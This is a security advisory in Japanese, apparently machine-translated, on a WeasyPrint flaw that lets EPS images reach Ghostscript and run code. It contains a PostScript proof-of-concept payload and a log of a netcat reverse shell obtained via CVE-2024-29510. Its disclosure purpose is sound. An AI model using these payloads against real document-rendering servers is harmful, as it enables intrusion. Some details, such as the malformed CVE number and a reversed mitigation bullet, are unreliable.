WeasyPrint: EPS画像がGhostscriptインタープリタに到達し、リモートコード実行(RCE)を引き起こす。

### 概要

これは、NLNnet財団の資金援助のもと、Radically Open SecurityのStefan Vink氏によって実施されたペンテスト中に発見されたもので、発見された高リスクの問題はこれだけです。

WeasyPrintは、取得した画像データを、入力形式を制限することなく、Pillowの汎用フォーマットディスパッチャに直接渡します。ホストにGhostscriptがインストールされている場合、PillowのEpsImagePluginは、攻撃者が制御するEPS/PS入力をラスタライズするためにGhostscriptを呼び出します。WeasyPrintに画像を提供できるコンテンツ(<img>タグのURL、CSSの画像値、SVGの画像参照、またはデータURI)は、すべて、信頼できないPostScriptデータを外部インタープリタに送り込む可能性があります。既知の-dSAFER回避策を持つバージョンのGhostscriptを実行しているホストでは、これによりリモートコード実行が発生します。

### 詳細

画像パイプラインは、外部からの応答を読み込み、生のバイトデータをPillowのフォーマットに依存しないImage.openに渡します。安全なラスター形式の許可リストはありません。

with fetch(url_fetcher, url) as response:
bytestring = response.read()
mime_type = forced_mime_type or response.content_type

...

pillow_image = Image.open(BytesIO(bytestring))

Pillowは、バイト列のシグネチャに基づいてハンドラを選択します。EPS/PS入力の場合、PIL.EpsImagePluginが選択され、Ghostscript実行可能ファイルが利用可能な場合、Ghostscriptが入力のラスタライズを呼び出します。最新のGhostscriptビルドでは、-dSAFERオプションで実行される場合がありますが、これによりインタープリタの境界が削除されるわけではなく、あくまで制限されるだけです。また、複数のCVEでこの制限を回避する方法が報告されています。

WeasyPrintの欠点は、入力がWeasyPrintが安全に処理できる形式であることを検証せずに、外部インタープリタを呼び出すことができるフォーマットハンドラに、信頼できないバイトデータを渡すことです。

- 入力:<img>タグ内の画像URL、CSSの画像値、SVGの画像参照、またはデータURI。
- 脆弱性箇所:PillowのPIL.EpsImagePlugin内のGhostscriptの呼び出し。weasyprint/images.pyの287行から327行。

### 対策不足箇所:

- WeasyPrintのフォーマット処理の前に、安全なラスター形式(例:PNG、JPEG、WebP)の画像入力のみを許可する仕組みがあります。
- この処理パスには、インタープリタ固有のCPU、メモリ、ファイルシステム、またはプロセス分離のための保護機能は存在しません。

Ghostscriptがインストールされていない環境では、EPSのラスター化処理は実行されません。これは、WeasyPrint内部の入力形式の制限ではなく、環境依存の問題です。

### 概念実証(PoC)

1. Ghostscriptのサブプロセスが、攻撃者が提供したPostScriptコードを実行することを示す、最小限のEPSペイロードを作成します。以下の201バイトのペイロードは、マーカーファイルを書き込みます。

postscript
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: 0 0 100 100
(/tmp/test-marker.txt) (w) file
dup (test_GHOSTSCRIPT_MARKER\n) writestring
closefile
0.5 setgray 0 0 100 100 rectfill
showpage
%%EOF

1. 上記の`/tmp/test-marker.txt`というパスはあくまで例です。より安全な再現方法では、`tempfile.mkdtemp`を使用して作成された、権限が0700に設定された一意のディレクトリにマーカーファイルを書き込みます。この書き込み先は、Ghostscriptのサブプロセスがユーザーが提供したPostScriptコードを実行したことを証明するためだけに存在します。
2. 上記のペイロードを`data:image/x-eps;base64,...`というURIで`<img`要素内に埋め込み、WeasyPrintでドキュメントをレンダリングします。この実行には、シェル、ネットワーク、リバースシェル、またはデプロイメントエンドポイントは必要ありません。
3. 結果を観察します。Ghostscriptのバージョン、レンダリングの戻り値、生成されたPDFのサイズ、および作成されたマーカーファイルのの内容を記録します。Ghostscript 10.05.1では、この書き込みは上記の範囲内に制限されていました。
4. 完全なリモートコード実行(RCE)の連鎖を確認するために、Ghostscript 10.03.0(脆弱なバージョン)を直接、CVE-2024-29510のペイロードで実行し、同時にnetcatリスナーを127.0.0.1:4444で起動しました。Ghostscriptのサブプロセスが接続し、30秒以内にインタラクティブなシェルに移行しました。

$ nc -lvnp 4444 127.0.0.1 &
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on 127.0.0.1:4444

$ gs -dSAFER -dBATCH -dNOPAUSE -dPARANOIDSAFER -sDEVICE=ppmraw \
-sOutputFile=/dev/null - < cve-2024-29510_payload.eps
...
Ncat: 127.0.0.1:51884からの接続。
bash: ターミナルプロセスグループを設定できません (261755): デバイスに対する不適切なioctl。
bash: このシェルにはジョブ制御がありません。
tester@host:~$

4. Ghostscriptがインストールされていないホストでは、EPSのラスター化処理は実行されません。

### 影響

これは、信頼できない入力が外部インタープリタに渡されることで発生するリモートコード実行の脆弱性です。

- Ghostscriptがインストールされたホストで、WeasyPrintを通じて信頼できないEPSファイルをレンダリングすると、攻撃者が制御するPostScriptコードが実行されます。Ghostscript 10.05.1では、"effded"というファイルが書き込まれます。
- -dSAFERの回避策が既知のバージョンのGhostscriptを実行しているホストでは、同じ入力パスによって完全なリモートコード実行が可能になります。これは、CVE-2024.03.0で実証されており、現在でも多くのLTS(長期サポート)およびEOL(サポート終了)バージョンで配布されています。
- WeasyPrintにおける根本的な問題は、画像形式の許可リストが欠けていることです。これが、信頼できない入力からインタープリタにアクセスできる原因となっています。

### 影響を受ける対象

Ghostscriptがインストールされたホストで、WeasyPrintを通じて信頼できない、または部分的に信頼できないHTML/CSS/SVGをレンダリングするすべての環境、および一般的なドキュメントレンダリングサーバーに影響します。

影響を受けるパッケージ:
- pip (Python) WeasyPrint: 影響を受けるバージョンは69.0以下、70.0で修正済み。